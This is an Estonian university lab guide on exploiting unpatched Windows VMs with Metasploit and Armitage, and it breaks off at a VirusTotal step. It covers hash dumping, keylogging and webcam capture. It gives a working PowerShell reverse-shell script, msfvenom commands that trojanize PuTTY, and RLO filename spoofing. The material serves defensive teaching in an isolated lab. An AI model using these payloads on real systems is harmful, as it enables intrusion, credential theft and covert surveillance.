Praktikum 13 - Turvaaukude ärakasutamine
Käesolevas praktikumis vaatleme lähemalt, kuidas ohuagent (ingl threat agent) on võimeline ohvri arvuti uuendamata tarkvara turvanõrkusi ära kasutama. Selleks kasutame Metasploit framework nimelist populaarset ründetarkvara koos Armitage kasutajaliidesega ning ohvriks eelnevatest praktikumidest tuttavat Windows XP SP3
virtuaalmasinat. Praktikumi teises pooles katsetame ka Tiny11
nimelist väiksema mahuga Windows 11 virtuaalmasinat ning pahavara koostamist.
Ettevalmistus
Kui teil on kõik eelnevad praktikumid edukalt sooritatud, siis kõvaketta ruumi kokkuhoiu huvides võite kustutada järgnevad virtuaalmasinad koos andmetega (kes seda veel teinud ei ole):
Linux Mint kloon
Windows 10
Windows XP
NB! Praktikum 15
vajame Linux Mint
virtuaalmasinat ID kaarti tarkvara katsetamiseks, seega seda veel ärge kustutage.
Virtuaalmasinate seadistamine
Alustuseks kustutame teie arvutist eelnevad praeguseks mittevajalikud virtuaalmasinad ja laadime alla vajaliku virtuaalmasina tarkvara:
Käesolevas praktikumis soovitame kasutada 11. praktikumis alla laetud ja seadistatud KALI
virtuaalmasinat. Kui teil see puudub siis paigaldage see:
- Minge leheküljele Kali pre-built VMS
- Laadige alla soovitatud VirtualBox-i kettapilt (ingl image file)
- Pakkige
kali-linux-2025.1c-virtualbox-amd64.7z
lahti- Soovitame lahtipakkimisel kasutada tarkvara
7-Zip
2, mis on pakkimisel ja lahtipakkimisel efektiivsem ja kiirem kui Windowsi sisse-ehitatud pakkimistarkvara. - NB! 2025. aastal muutus ootamatult Kali Linux kali-archive-keyring, mistõttu ei saa varasematel kui 2025.1c versioonidel enam masinale automaatselt uuendusi teha
sudo apt update
käsuga. Praktikumi esimeses pooles vahetame selle turve-võtme ära.
- Soovitame lahtipakkimisel kasutada tarkvara
- Seejärel võite paigaldada virtuaalmasina
kali-linux-2025.1c-virtualbox-amd64.vbox
definitsioonifailiga ehk käivitage.vbox
fail topeltklõpsuga.- Kali virtuaalmasinale on soovitatav võimalusel anda ka
4GB
RAM VirtualBox-i seadetest.
- Kali virtuaalmasinale on soovitatav võimalusel anda ka
Praktikumi esimeses pooles kasutatava Windows XP SP3
masina paigaldus:
- NB! Kindlasti kustutage eelmistest praktikumist olemasolev
Andmeturve_XP.ova
ja importige see uuesti. 9. praktikumis rikub üks kahjurvara Windowsi toimimist nii, et käesolevas praktikumis tekiksid teil probleemid vastavaWindows_XP_SP3
masinaga. Kui teil on vajaOVA
uuesti alla laadida, saate seda teha siin lingil: - https://owncloud.ut.ee/owncloud/index.php/s/CrtBMvRouATSgz8, kus allalaadimise parooliks sisestage aine kood
LTAT.06.002
. - Importige uuesti
Andmeturve_XP_SP3.ova
virtuaalmasin.
NB! Aeglasema internetiga lahendajatel on soovituslik panna taustal laadima ka praktikumi teises pooles kasutatav Tiny11
virtuaalmasin, mille OVA on 8 GB:
- Allalaadimise link: https://owncloud.ut.ee/owncloud/s/njqxtpieM3dge77
- Parooliks on ainekood (LTAT.06.002)
Metasploit ja Armitage
Käivitage Kali virtuaalmasin
ja logige sinna sisse. Teil võiks töötada ka ekraani dünaamiline suurendamine ja teksti kopeerimine põhimasinast (Shared Clipboard). Järgnevate käskude esimese asjana laadime KALI virtuaalmasinasse uue repositooriumi turva-võtme, sest väidetavalt suutsid nad eelmise ära kaotada. Lisainfo https://www.kali.org/blog/new-kali-archive-signing-key/ . Edasi paigaldame vajaliku ründetarkvara ning käivitame selle.
Nüüd paigaldage ründamiseks vajalik tarkvara:
$ sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg $ sudo apt update $ sudo apt install kali-tools-exploitation $ sudo apt install metasploit-framework $ sudo systemctl start postgresql $ sudo msfdb init $ sudo armitage
Armitage
käivitamise ajal vajutage Connect
ja Yes
(RPC Server) küsimustele. Nüüd peaks teil olema avatud Armitage kasutajaliides. Sulgege Armitage.
Kujutised 1 ja 2. Armitage käivitamise seaded.
Edukaks võrguründeks on meil vaja, et meie ohver ja ründaja saaksid omavahel suhelda. Selleks seadistame mõlemad virtuaalmasinad Kali Linux
ja Windows XP
kasutama bridged
mode võrguühendust. Veendu, et mõlemad virtuaalmasinad on saanud endale uued IP-aadressid teie kodus või klassis kasutatavast alamvõrgus:
- Linuxis näeb IP-aadressi
ip a
käsuga ja Windowsiscmd
käsurealipconfig
sisestades. - Enamasti on IP-aadressid algusega
192.168
vms,10.0.2.15
on NAT aadress ja ei ole sobiv. - Mõlema masina subnet mask pean olema sama (
/24
=255.255.255.0
). - Vajadusel tehke virtuaalmasinale taaskäivitus, pärast mida on loodetavasti virtuaalmasinal siiski õige IP-aadress.
Ründevektorite avamine
Windows XP
masinas tuleb lülitada tulemüür välja:
Start
Control Panel
- Vasakul
Switch to Classic View
Windows Firewall
General
Off (not recommended)
Samuti tuleb lubada kaugühendamine masinasse:
Start
Control Panel
Network Connections
- Parem hiireklahv
Local Area Connection
Properties
- Lubage
File and Printer Sharing for Microsoft Networks
OK
Kujutis 3. Windows XP masinal failide ja printeri jagamise lubamine.
Start
Control Panel
System
Remote
- Lubage
Allow users to connect remotely to this computer
OK
Veendumaks, et meie Kali Linux saab ühendust Windows XP masinaga, sisestage:
nmap -sV <XP-masina IP-aadress>
. Väljundis peab kindlasti olema nähtav port 445/tcp open microsoft-ds
. Kui ei ole, kontrollige eelnevaid tegevusi kuni on nähtav või võtke ühendust aine õppejõuga.
Kujutis 4. nmap käsuga avastatud ohvri avatud pordid.
Armitage
Nüüd on meil ohvriks olev Windows XP
virtuaalmasin ja Kali Linux seadistatud omavahel suhtlema ning ohvri arvutis on vähendatud turvalisust, et ründed võimalikud oleksid.
Käivitame uuesti armitage
tarkvara järgnevate käskudega:
$ sudo systemctl start postgresql $ sudo armitage
NB! Kui teil eelmise käsu peale armitage
ei käivitu siis on soovitatav kogu KALI virtuaalmasinale taaskäivitus teha ja uuesti proovida. Kali 2025 versioonis kahjuks armitage ei sulgu korralikult ja mingid teenused jäävad taustale ootele, mis takistavad programmi teist korda käivitamist.
Alustame rünnakut võrgus skännimisega (ohvri leidmisega).
Armitage
- menüüst
Hosts
Nmap Scan
Quick Scan (OS detect)
- Sisestage enda alamvõrgu IP-aadress
- Vihje: kui teie IP-aadressi võrgumask (peale
/
tähemärki) on 24, siis alamvõrgu aadress on sisuliselt IP-aadressi kolm esimest oktetti ning neljas on0
. Näiteks192.168.1.123/24
puhul on alamvõrgu aadress192.168.1.0/24
. Muude võrgumaskide puhul otsige vajadusel abi internetist.
- Vihje: kui teie IP-aadressi võrgumask (peale
OK
.
Oodake kuni 1 minut pärast mida peaks ohvri virtuaalmasin (ja mõned muud veel) nähtavale ilmuma.
NB! Armitage
tarkvara on tasuta ja seega esineb seal mõningaid stabiilsuse probleeme ehk vahepeal tuleb mitu korda proovida, et käsud või tegevused normaalselt toimiks. Õppejõud otsivad lahendust ja annavad teada kui on rohkem infot. Sellest tulenevalt, kui kõik tegevused ei tööta, võib esitada ka pildid sellest, et proovisite, aga Armitage tarkvara ei õnnestunud tegevust toimima saada.
Kujutis 5. Armitage Quick Scan (OS detect) teekond.
Nüüd uurime ohvrit täpsemalt, tehes talle põhjaliku avatud portide otsimise:
Armitage
-> rippmenüü Hosts
-> Nmap Scan
-> Intense Scan, no ping
-> Sisestage Windows XP
(ohvri) IP-aadress
näiteks 192.168.1.175
-> OK
-> jälgige all väljundit ja uurige mida tuvastati ohvri kohta. Kuigi meie näites on ka ohver meie kontrolli all, siis enamik päriselulistes rünnakutes ei ole ohvrist kuigi palju teada ja info kogumine ning kasutatava tarkvara tuvastamine on eelduseks hilisemaks edukaks ründeks.
Nüüd on meil teada ohvri arvuti IP-aadress
, avatud TCP
pordid 135
, 139
, 445
ja 3389
ning operatsioonisüsteem Windows XP SP3
. Järgnevalt peame Interneti avarustest leidma sobiva exploit ehk haavatavuse ja lootma, et sellele on ka näidiskood kuidas rünnata. Näiteks Exploit Database
nimeline leht võimaldab suhteliselt mugavalt filtreerida vastuseid meid huvitavate portide põhjal: https://www.exploit-db.com/?type=remote&platform=windows&port=445
Kujutis 6. Exploit Database port 445 kaugühendusega Windows masinate turvavead.
Nüüd peaksime hakkama vastuseid detailselt läbi analüüsima, kuid lihtsuse huvides annavad siinkohal õppejõud teile vihje, et MS08-067
ja MS17_010
on haavatavused, mis meile huvi pakuvad.
Järgnevalt proovimegi armitage
tarkvaras vastavaid ründeid ära kasutada. Selleks kirjutage vasakul olevasse otsingu aknasse ms17
ja/või leidke nimekirjast exploit/windows/smb/ms17_010_psexec
. Käivitamiseks võite lohistada vastava exploit sobiva arvuti peale armitage
tarkvaras (või teha topeltklikk ning sisestada käsitsi õige RHOST
IP-aadress). Nüüd vajutage Launch
nuppu ja jälgige väljundit alumises mustas kastis. Eduka ründe korral muutub ohvri arvuti punaseks ning välgujoontega ümbritsetuks.
Kujutised 7 ja 8. Armitage ründe seaded ja väljund.
Palju õnne, olete edukalt ohvri arvutis. Järgnevalt vaatame, kuidas endale küsida täiendavaid õigusi (enamasti saate esialgu ligi tavaõigustega) ning mida muud huvitavat me ohvri arvutis teha saame. Nüüd minge ohvri arvuti peale ja tehke seal parem hiireklahv -> Meterpreter
-> Access
-> Escalate Priviledges
, mille tulemusena avaneb vasakul nn local
ehk kohalikud ründed õiguste suurendamiseks. Kuna meil on juba süsteemi õigused siis hetkel me õiguste omandamist täpsemalt ei vaata.
Järgnevalt vaatame, kuidas ligi pääseda kasutaja paroolidele. Selleks tehke parem hiireklahv ohvri arvutil -> Meterpreter
-> Access
-> Dump Hashes
-> lsass method
-> jälgi väljundit all aknas.
Uurige eelmise käsu väljundit ja eelnevate aines omandatud teadmiste (või interneti abiga) leidke väljundist, milline osa on kasutaja parooli räsi. Nüüd peame muutma parooli räsid inimloetavale kujule. Selleks tulevad meile appi veebilehed, mis võimaldavad levinud räsisid kontrollida nende andmebaasis olevate vastu ning kui ei leidu, siis väikese "tasu" eest need meile lahti murda. Meie parool on suhteliselt lihtne. Leidke https://crackstation.net/ lehte või mõnda sarnast kasutades, mis on Andmeturve Windows XP
virtuaalmasina kasutaja Administrator
parool?
13-1: Mis on Andmeturve Windows XP
Administrator
kasutaja parool? (mitte esitada parooli räsi ja mitte esitada LM
puhul osaliselt sobivat Partial match vastust)
Järgnevalt vaatame, kuidas ligi pääseda kasutaja sisestatud klahvivajutustele (näiteks veebilehitsejas sisestatud paroolid). Selleks tehke parem hiireklahv ohvri arvutil -> Meterpreter
-> Explore
-> Log Keystrokes
-> jälgi väljundit all aknas (jätke aken avatuks).
Nüüd minge Windows XP
arvutisse ja külastage veebilehitsejaga aadressi https://andmeturve-lab.appspot.com/
ja sisestage väljadele oma Eesnimi
, Perenimi
ja sõnum
. Vaata näidist allpool.
13-2: Esitage Kali Linux
Armitage
tarkvarast täisekraanivaade, kus on selgelt näha teie ohver
(punane), Log Keystrokes
edukas rünne ja teie Eesnimi
ning Perenimi
.
Kujutis 9. Armitage log keystrokes ründava masina väljund.
Tutvuge ka teiste valikutega, mida ohvri arvutiga teha saate. Mõned, mida õppejõud soovitavad kindlasti proovida:
Meterpreter
->Access
->Persist
(järgmine kord paneb ennast ise tööle),Pass Session
(pahalase seansi üle viimine teise protsessi peale, näiteks veebilehitsejast explorer.exe vms).Meterpreter
->Explore
->Browse Files
(võimaldab mugavalt faile vaadata),Show Processes
(tutvu käimasolevate protsessidega (näiteks kui otsid võimalusi õiguste eskaleerimiseks),Screenshot
(ekraanipilt),Webcam Shot
(nö kahjunõude rünnak, ma tean küll mis sa seal arvuti ees teed)Meterpreter
->Pivoting
->Setup
(Võimaldab kasutada ohvrit nö lülina ahelas, et järgmiste ohvriteni pääseda. Kasutatakse palju veebiserveritest edasi sisevõrku pääsemiseks). Võimaldab tehanmap
ja muid tegevusipivot
arvutist lähtuvalt.
Katkestame nüüd aktiivse meterpreter
seansi ja katsetame veel mõnda teist rünnet.
- parem hiireklahv ohvri arvutil ->
Meterpreter
->Kill
(katkestab aktiivse seansi ohvriga)
Katsetage nüüd ohvri peal uuesti rünnakut (tehke iseseisvalt, peaks õnnestuma rünnak):
ms08_067_netapi
Katkestame nüüd aktiivse meterpreter
seansi ja katsetame mõnda teist rünnet veel.
- parem hiireklahv ohvri arvutil ->
Meterpreter
->Kill
(katkestab aktiivse seansi ohvriga)
Testime, kas ohver on haavatav ja katsetame uuesti rünnakut:
auxiliary/scanner/rdp/cve_2019_0708_bluekeep exploit/windows/rdp/cve_2019_0708_bluekeep_rce (Targets: 2 => Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VirtualBox 6)
Ei õnnestu ohvrit üle võtta. Nagu nimigi ütleb, sobib pigem Windows 7 ründamiseks, kuigi internetis on leitav modifikatsioon, mis väidetavalt suudab edukalt ka Windows XP rünnata, mis tegelikult on vastavale ründele ka haavatav. Ei hakka siinkohal katsetama.
Mitte kõik ründed ei võta ohvrit üle - näiteks järgmine rünnak võimaldab arvutile DOS (Denial Of Service), meie puhul restart
teha:
auxiliary/dos/windows/rdp/ms12_020_maxchannelids
Peaks sundima Windows XP arvuti restarti. Seejärel sulgege Armitage tarkvara!
Kaasaegse Windowsi ründamine
Turvaaugud on tänapäeva keeruliste IT-süsteemide tavaline nähtus, mida leitakse pea igapäevaselt meie kasutatavas tarkvaras ja süsteemides. Paljud tavakasutajad ei märka neid auke kunagi, kuid tajuvad nende mõjusid pidevate turvauuenduste näol. Siinkohal tasubki vaadata, millised vead on leitavad kaasaegsemates (Windows) operatsioonisüsteemides ning mis on ajendiks igakuistele Windows masinate turvauuendustele.
Tiny11
Tiny11 on Windows 11 operatsioonisüsteemi modifitseeritud, kergem versioon, kust on eemaldatud suurem osa igapäevaste tegevuste mõttes ebavajalikud rakendused1. Läbi selle võtab Tiny11 vähem salvestusruumi ning teoorias võiks paraneda ka süsteemijõudlus madalama protsessoriaja ja muutmälu (ingl RAM) kasutuse tõttu. Samuti on boonusteks mõningate "uuenduste" puudumine nagu näiteks võimalus installimise ajal jätta Microsofti konto seadistamine vahele või TPM-i (Trusted Platform Module) nõuete puudumine, mille pärast paljud arvutid ei saa oma "vanaduse" tõttu Windows 11 operatisoonisüsteemi installida.
Introducing tiny11 core - Windows 11 on 3GB of free space
Sellegi poolest on sellistel kohandatud operatsioonisüsteemidel omad "aga"-d. Esiteks on tegemist kellegi kolmanda osapoole tehtud mitteametliku operatsioonisüsteemiga, mida Microsoft ise ei toeta. Seetõttu ei saa kindlalt väita, et tegemist on ohutu süsteemiga, kuna on olemas risk, et seal on peidetud pahavara. Teiseks ei saa selline masin korralikult Microsofti poolt välja lastud uuendusi, vaid uuendama peaks jällegi läbi kolmanda osapoole, mis ei garanteeri korrektseid turvauuendusi ning uuendamise protsess ei pruugi olla nii intuitiivne kui tavalise operatsioonisüsteemi puhul. Kolmandaks on kohandatud operatsioonisüsteemid tihtipeale ebastabiilsemad ja ei pruugi seetõttu anda erilist jõudluse parendamise efekti nagu see teoorias teha võiks. Kõikide nende kulisside taga peituvate probleemide tõttu leiab Interneti foorumitest omajagu inimesi, kes on siiski muutnud peale selliste operatsioonisüsteemide kasutamist meelt ja läinud tagasi originaalsetele süsteemidele2.
Käesoleva praktikumi raames on hea kasutada Tiny11 masinat tavalise Windows 11 asemel, kuna see võtab vähem salvestusruumi ja uuenduste puudumise tõttu on seal rohkem turvaauke, mida praktikumi raames ära kasutada. Siiski paneme südamele, et oma enda ohutuse mõttes ärge sisestage sellistesse kohandatud masinatesse delikaatset infot nagu näiteks paroolid või isikuandmed. Samuti ei soovita aine õppejõud oma igapäevaseadmetesse eba-ametlikke operatsioonisüsteeme paigaldada ning loodetavasti saate ka praktikumi läbimise käigus ise aru, miks ei ole need just kõige turvalisemad.
Laadige alla meie eelseadistatud Tiny11 ova fail ning importige see enda VirtualBox'i:
- Allalaadimise link: https://owncloud.ut.ee/owncloud/s/njqxtpieM3dge77
- Parooliks on ainekood (LTAT.06.002)
Masina eelseadistatud kasutaja parool:
- isherenow
Kui olete masinasse sisse saanud, siis tutvuge esmalt puhta masinaga ning vaadake, mis muudatusi te sealt leiate. Võrrelge Task Manageri abil ka seadme jõudluse kasutust oma enda seadmega. Kas leiate nii häid kui halbu külgi?
Defenderi erandid
Tiny11
masinas tuleks :
- Esmalt paigaldada
Virtualbox Guest Additions
ja teha kasutajaliidesest viisakasrestart
. - Edasi lisame mõned erandid, et antiviirus ei hakkaks meid liialt segama.
Settings
Privacy & security
System and Security
Windows Security
Open Windows Security
Virus & threat protection
- Virus & threat protection settings all
Manage settings
- Exclusions all
Add or remove exclusions
Yes
- Nüüd lisage
Desktop
,Downloads
jaDocuments
kaustad erandite alla.Add an exclusion
Folder
- Korrake vajadusel tegevust.
NB! Praktikumi jooksul peaksite kõik koodide ja programmide käivitamised tegema just äsja seatud erandiga kaustas. Selle abil saate vältida potentsiaalseid probleeme, kus Windows Defender pahavara tegevuse peatab ning programmid/koodid ära kustutab. Windows Defender ei pruugi kõiki ülesannete näiteid avastada, kuid sellega saame potentsiaalseid probleeme ennetada.
Reverse Shell
Reverse shell ehk vastukest on rünne, mille käigus luuake ühendus ohvri arvutist ründaja arvutiga nii, et ründaja saaks ligipääsu ohvri seadme käsureale. Nii saab ründaja käivitada käsurealt ohvri arvutis käske, skripte ning nuhkida seadmes peituvaid andmeid. Järgnevalt vaatamegi kuidas üht lihtsamat sellist ühendust luua.
Järgnevate harjutuste korral kasutame taaskord varasematest praktikumidest tuttavat ohvri ja ründaja analoogia:
- Ohver - Tiny 11 Windows masin.
- Ründaja - Kali Linux masin.
Soovi korral on võimalik sama harjutust läbida ka video abil, kust ründe kood pärineb:
- Hacking windows 11 with Powershell. https://youtu.be/UeBvI278Na8?si=POmU0ct9yjRfC6Tt
Ohver
Avage Tiny11 virtuaalmasinas Notepad
ning kopeerige sinna sisse järgnev sisu:
$ip = "AAA.BBB.CCC.DDD" $port = 20XXX # Create a TCP client and connect it to the remote host $client = New-Object System.Net.Sockets.TCPClient $ip, $port $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} # To receive data while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i) $sendback = (Invoke-Expression $data 2>&1 | Out-String) $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte, 0, $sendbyte.Length) $stream.Flush() }
Andke muutujatele väärtused:
$ip
= Ründava masina IPv4 aadress$port
= pordinumber, kus XXX on teie matriklinumbri kolm viimast numbrit
Nüüd valige Save as
ning salvestage skript pannes talle nimeks enda perenime
ja laiendiks .ps1
(näiteks peets.ps1
).
Ründaja
Seejärel paneme ründava masina ühenduse ootele. Sisestage terminalis järgnev käsk, kus muutke pordinumber samaks, mis ohvrimasina skriptis:
$ nc -vv -l -p 20XXX
Peaks ilmuma kiri, et ründaja kuulab ühendusi valitud pordil. Nüüd jääb üle vaid oodata, mil ohver pahatahtliku skripti käivitab.
Ohver
Avage administraatori õigustega PowerShell kaustas, kus te eelnevalt skripti salvestasite. Et te saaksite selliseid skripte üldse käivitada, tuleks enne anda vastav luba:
Set-ExecutionPolicy Bypass -Scope CurrentUser
Valige Yes ehk Y
Nüüd käivitage skript ning jälgige samaaegselt ründaja masinas pealtkuulava terminali väljundeid:
.\perenimi.ps1
Ründaja
Eelneva skripti käivitamise tulemusena peaksite olema ühendatud ohvri masinaga. Vajutage terminalis ühe korra Enter
nuppu. Nüüd peaksite nägema Windows Powershelli käsurida samas kaustas, kus ohver skripti käivitas.
Kontrollige enda kasutajat:
whoami ls ipconfig
- 13-3: Esitage ekraanipilt, kus on
KALI
virtuaalmasinas näharündekäsk
(nc -vv -l -p 20XXX),whoami
,ls
(peab sisaldamaperenimi.ps1
faili) ningipconfig
. Kui kõik ühele pildile ei mahu esitage mitu pilti.
Kujutis 10. Kali Linux masin kontrollib reverse shell abil Windows masina käsurida.
Proovige peale ekraanipildi tegemist käsurea käskude abil ohvri masinas ringi liikuda. Proovige ka mingeid lihtsamaid käske jooksutada.
Pahalase loomine
Eelnevalt katsetasime ohvri masina käsurea üle võtmist ilmselgelt pahatahtliku koodi käivitamisega. Üldjuhul peidetakse taolised koodid aga mingi muu tarkvara või programmi sisse ära nii, et ohver selle teadmatult käivitaks. Järgnevas harjutuses me täpselt seda katsetamegi.
Ründaja/KALI
Laadige endale alla PuTTY
:
$ wget https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe
Looge endale pahalane ning maskeerige see PuTTY
tarkvaraks.
- NB! Asendage käsul
<kali_linux_ip>
enda Kali IP-aadressiga ning pordi numbri puhul asendage20XXX
kolmX
-i enda matriklinumbri kolme viimase numbriga.
$ msfvenom -p windows/meterpreter/reverse_http LHOST=<kali_linux_ip> LPORT=20XXX -f exe -x putty.exe -k -o putty-fixed.exe
Nüüd on meil loodud troojalane, mis käivitamisel võtab ühendust ründaja masinaga ehk helistab koju. Käesolevas näites lõime .exe
faili, kuid sarnaseid näiteid on ka PDF
, DOC
ja teiste levinud failitüüpide korral, kus iga üks ründab nõrkusi oma vastavas tarkvaras. Et hiljem testida faili peitmist näiliselt teise faililaiendi taha, siis loome ka ühe pahalase lisaks, kuid ärge seda praegu veel peida:
$ msfvenom -p windows/meterpreter/reverse_http LHOST=<kali_linux_ip> LPORT=20XXX -f exe -o ps.exe
Küll aga ei saa loodud pahalased enne käivitamist midagi ohrvi seadmes teha. Seega oleks see pahalane vaja kuidagi ohvrini toimetada ning kas need ise käivitada või oodata kuni heausklik ohver kummagi mingi hetk iseseisvalt käivitab.
Pahalaste transportimiseks on mitmeid erinevaid variante. Sagedasemad on näiteks meiliga, salapärase mälupulgaga, manusena internetis jms. Lihtsuse huvides saadame antud näites pahatahtliku tarkvara otse ohvri arvutisse tema enda loal.
Lubage esmalt Kali Linux masinas SSH ühendus:
$ sudo service ssh start $ service ssh status
Ohver
- Paigaldage Windows masinasse tarkvara
Bitvise
järgnevalt lingilt: - Käivitage
Bitvise
- Sisestage järgnevad andmed:
Log in
Accept for This Connection
- Sisestage Kali masina parool
- Eduka ühenduse korral valige
New SFTP window
- Kopeerige Kali masinast Windows masinasse enda loodud pahalased:
ps.exe
putty-fixed.exe
- Seejärel
Log out
Ründaja
Avage Metasploiti konsooli ja käivitage listeneri "kuulama" ühendust meie pahalasest:
$ msfconsole
Avaneb Metasploit
turbetarkvara käsurida msf6
kirjega. Sisestage sinna järgnevad käsud:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_http set LPORT 20XXX set LHOST <kali_linux_ip> show options exploit
NB! Kui teil tuleb error The address is already in use or unavailable
, siis leidke porti kasutav protsess sudo netstat -tulnp
käsuga ning "tapke" see käsuga kill
.
Nüüd ootab listener sissetulevaid ühendusi, mis me oleme pahalase programmis sisse seadnud. Nüüd jääb ründajal üle vaid oodata, kuni ohver pahalase käivitab.
NB! Hoidke Kali masin ja sealt HTTP reverse handleri konsool ekraanil avatuna samal ajal kui järgnevaid samme teete. Siis näete mis hetkel ohvri masinast ühendus ründajani jõuab.
Ohver
Üldjuhul peaks nüüd ründaja veenma ohvrit kuidagi pahatahtlikku tarkvara võimalikult kiiresti avama või jääma "kuulama", kuni kasutaja selle üks hetk käivitab. Lihtsuse huvides jätame selle protsessi praegu vahele ja käivitage putty-fixed.exe
. Ohvri vaatest ei ole otseselt midagi kahtlast juhtunud - vahel laeb pahalasega programm tööle tavapärasest natuke kauem, kuid üldjuhul ei arva ohver sellest suurt midagi. Ohver saab nüüd täiesti töökorras PuTTy tarkvara kasutada. Seniks aga käib tagataustal midagi enamat.
Ründaja
Nüüd peaksite nägema, et olete loonud ühenduse ohvri masinaga ning käsureal peaks olema meterpreter >
. Alustuseks uurime, mis on ohvri arvuti põhilised tehnilised andmed:
sysinfo
Uurige Windows 11 Build
versiooni abil, kas tegemist on uuendatud masinaga või vanemaga. Selgitage välja ka masina versioon. Neid andmeid teades saame otsida, mis ajast alates pole potentsiaalseid turvanõrkuseid turvauuendustega parandatud. Kasutame järgmiste rünnete puhul neid teadmisi ära.
Uurige mis võimalused ründajal veel on:
help
NB! Ärge veel iseseisvalt erinevaid help
käsu väljundis pakutud võimalusi katsetage. Mõne puhul võib Windows masin tuvastada kahtlase tegevuse ning Defender võib vaatamata varasemate erandite seadmisele need siiski ära keelata ja pahavara eemaldada. Peale vastavate ülesannete lahendamist on juhendis märge, millal võib erinevaid võimalusi katsetama hakata huvi korral.
- Proovige järgmisi käske:
ls
,pwd
,sysinfo
,getuid
,getpid
,ps
,edit perenimi.txt
.- Vajutage
vim
editorisi
ja kirjutage esimesele reale enda nimi ning väljumiseksESC
klahvi ning:wq
. - Veenduge Tiny11 masinas, et Desktopile tekkis teienimeline fail.
- Vajutage
uictl disable all
. Nüüd proovige Tiny11 arvutis hiirega aknaid liigutada või klaviatuurivajutusi sisestada.- Ei tohiks töötada, sarnaselt lülitavad pahalased korraks teie hiire välja tekitades tunde et arvuti jooksis kokku ning samal ajal teevad nemad mingi pahateo ning annavad hetkepärast ekraani, hiire, klaviatuuri jne tagasi käsuga
uictl enable all
.
- Ei tohiks töötada, sarnaselt lülitavad pahalased korraks teie hiire välja tekitades tunde et arvuti jooksis kokku ning samal ajal teevad nemad mingi pahateo ning annavad hetkepärast ekraani, hiire, klaviatuuri jne tagasi käsuga
- Vaatame visuaalselt, mis teises arvutis toimub käskudega
screenshot
jascreenshare
, lõpetamiseksCTRL+C
- 13-4: Esitage
Kali Linux
metasploit
tarkvara poolt avatudfirefox
veebilehitsejascreenshare
, kus on nähaTiny11
arvutis avatudCommand Promptis
ipconfig
käsu väljund ja sealNAT
IP aadress10.0.2.15
. Samuti peab avatud olema teieperenimi.txt
fail ja seal seesteie nimi
.
Kujutis 11. Ohvri masina ekraanipilt ründavas masinas.
NB! Järgnevalt lülitame ründe efektsuse demonstreerimiseks sisse ohvri masinal veebikaamera. Tegevus ei ole kohustuslik kui te seda teha ei soovi või ei saa.
Lubage ohvri masinast võimaluse korral veebikaamera Devices
-> Webcams
-> tehke linnuke oma veebikaamera peal. Kontrollige analoogselt, et ründaja masinast ei oleks veebikaamera kasutamine lubatud.
Proovige meterpreter
ühendusega järgmisi käske:
webcam_list webcam_snap webcam_stream
Peaksite saama nüüd "ohvrit" nende endi veebikaameraga jälgida. Ohvrile reedab teie tegevuse heal juhul see, et nende kaameral hakkab riistvarapõhine tuluke põlema, kuid leidub seni veel ka arvuteid või veebikaameraid, millel ei ole sisse-ehitatud tulukest. Sellisel juhul pole ohvril aimugi, et teda ta enda kodus, kontoris või mujal parasjagu jälgitakse. Lisaks on veel võimalus kuulata ohvrit läbi mikri pealt, kuid antud võimalus ei pruugi kõige stabiilsemalt töötada.
NB! Seejärel andke ründavas masinas Metasploit käsureal käsk quit
, et töötav ühendus järgmise ülesande jooksul segama ei hakkaks.
Pahavara pildifailiks maskeerimine
Nüüd vaatame kuidas on taolist pahavara võimalik veel peita. Selleks muudame faililaiendi näiliselt png
-ks, kuid sisuliselt on pahavara ikkagi exe
, mis käivitamisel võtab ründaja masinaga ühendust.
NB! Kui teil pole programmide faililaiendeid näha, siis tehke need esmalt nähtavaks:
- Minge File Exploreris kausta, kus teil
ps.exe
paikneb View
Show
File name extensions
Nüüd on selgelt näha, et ps.exe
on executable programm, kuid teeme seda vähem ilmselgeks. Muutke ps.exe
nimi ära järgnevalt:
- Kustutage esmalt faililaiend
.exe
ära, kuid ärge salvestage - Nüüd avage menüü hiire paremklahviga nime muutmise lahtril
- Liikuge valikule
Insert Unicode control character
- Avanenud aknas valige
RLO
ehk right-to-left override - Seejärel lisage nimele
gnp.exe
- Lõplik tulemus peaks välja nägema nagu
psexe.png
- Lõplik tulemus peaks välja nägema nagu
RLO
on unicode tähemärk, mis sisuliselt keerab teksti graafilises liideses peegelpilti. Kuigi näeb välja nagu oleks tegemist .png
failiga, siis on see siiski veel töötav .exe
programm. Proovime seda veelgi varjata.
- Looge
psexe.png
failile shortcut- Parema klahviga failil menüüd avades valige
Show more options
ning seejärelCreate shortcut
- Parema klahviga failil menüüd avades valige
- Muutke shorcuti nimi eelneva meetodi abil jällegi näiliselt
psexe.png
-ks. - Avage shortcuti atribuudid (ingl properties)
- Muutke faili ikoon ära võimalikult pildifaili taoliseks
Shorcut
vahelehel nuppChange Icon...
Nüüd näeb shortcut välja nagu see oleks lihtsalt tavaline pildifail, kuid tegelikkuses avab see meie varasemalt loodud pahalase, mis "helistab" ründajale. Samal ajal võiks tegelik pahavara olla kusagil sügavamal süsteemis peidus, kus seda ohver ei leiaks. Antud juhul kasutame shortcuti nimena psexe
, kuna see on lühike ja ei lähe graafilises kasutajaliideses pikkuse tõttu peitu. Tegelikkuses võiks faili nimi olla midagi pildifailile kohasemat, et vähendada kahtluste tekkimise riski.
Katsetage äsja loodud valeliku pildifaili toimimist iseseisvalt. Sisuliselt võib eelneva ülesande samme korrata.
Kujutis 12. Valeliku faililaiendi ja ikooniga pahavara.
Kui olete edukalt eelnevate harjutuste ekraanipildid ära teinud, siis võite proovida Metasploiti erinevaid võimalusi, mida help
käsk pakkus. Mõningate käskude puhul võib Windows Defender tegevuse kahtlaseks lugeda ning võib pahavara nn musta nimekirja panna ja keelata selle uuesti käivitamist.
Viirusetõrjete analüüs
Uurime nüüd lähemalt, mida arvavad erinevad viirusetõrje tarkvarad meie loodud pahavarast. Selleks laadige putty-fixed.exe
tarkvara üles aadressile https://virustotal.com
ja oodake paar minutit, millal veebileht lõpetab faili analüüsi. Tutvuge tulemustega.
NB! VirusTotal lehele võib olla vaja umbes 1 minuti möödudes teha värskendus (refresh
